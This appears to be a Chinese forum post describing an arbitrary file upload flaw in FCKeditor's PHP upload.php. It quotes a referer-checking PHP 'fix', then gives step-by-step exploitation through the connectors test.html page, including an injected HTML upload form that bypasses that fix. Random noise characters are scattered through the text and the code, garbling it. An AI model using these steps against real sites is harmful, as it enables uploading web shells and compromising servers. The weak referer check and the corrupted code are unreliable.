漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
7 |5 q: n. y5 n& l, @网上给出的修复方案是- l! U; C$ t) z' r& L
修复方法,删除FCK编辑器用其他的编辑器* {2 [# M$ }' h
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件- P. g: h% ?5 d$ x, \5 l7 f: w9 W
在7 }1 L1 S2 {5 J) \) ~
require(‘config.php’);+ V w; [" e9 H8 ~* ~5 I
require(‘util.php’);
, `8 T9 y5 q1 Z U/ V的下面添加以下代码—————————–
, B6 c; c2 ]" t" {" k' t) a& [; U//防止外部提交# w+ ?0 |' }6 p/ D; }( f" g
function outsidepost()+ I. @$ H( v( e5 L8 Q$ O: r
{
( @( l$ \5 d/ b! L$servername=$_SERVER['SERVER_NAME'];5 t! R$ X8 y) u5 f6 \# |2 I
$sub_from=@$_SERVER['HTTP_REFERER'];: M; I, n2 v/ r) K# Y) o
$sub_len=strlen($servername);0 V- i; _# m# K3 Y6 ]; R
$checkfrom=substr($sub_from,7,$sub_len);
% j) S1 O: P: n) J$ ?: }if($checkfrom!=$servername){" p2 R" j% j0 Y
echo(“you don’t outsidepost!”);
- A- {3 D9 ?3 a2 Z/ O% h6 o6 \exit;- X2 D( I7 N% m* f1 ~4 I4 x
}
( x k% }3 K0 Y- Z; I* X}
, H" A, c2 r+ ] A( |outsidepost();
/ v; V. g5 q7 i! j防止外部提交,但是没有防止内部提交,
* r% L' t" U3 O6 x {5 P7 s& t$ R2 D' Y利用方法:3 M7 @) l( ]2 o, c0 C0 Y# J* F7 g
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
! q: ?2 O9 }$ p. p9 r2,在Current Folder 框输入
% y6 V1 y M0 }<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>! m* J' H% K# U, W9 J) d7 R
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。- Z9 E/ I% K& f. [5 z, _5 I
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |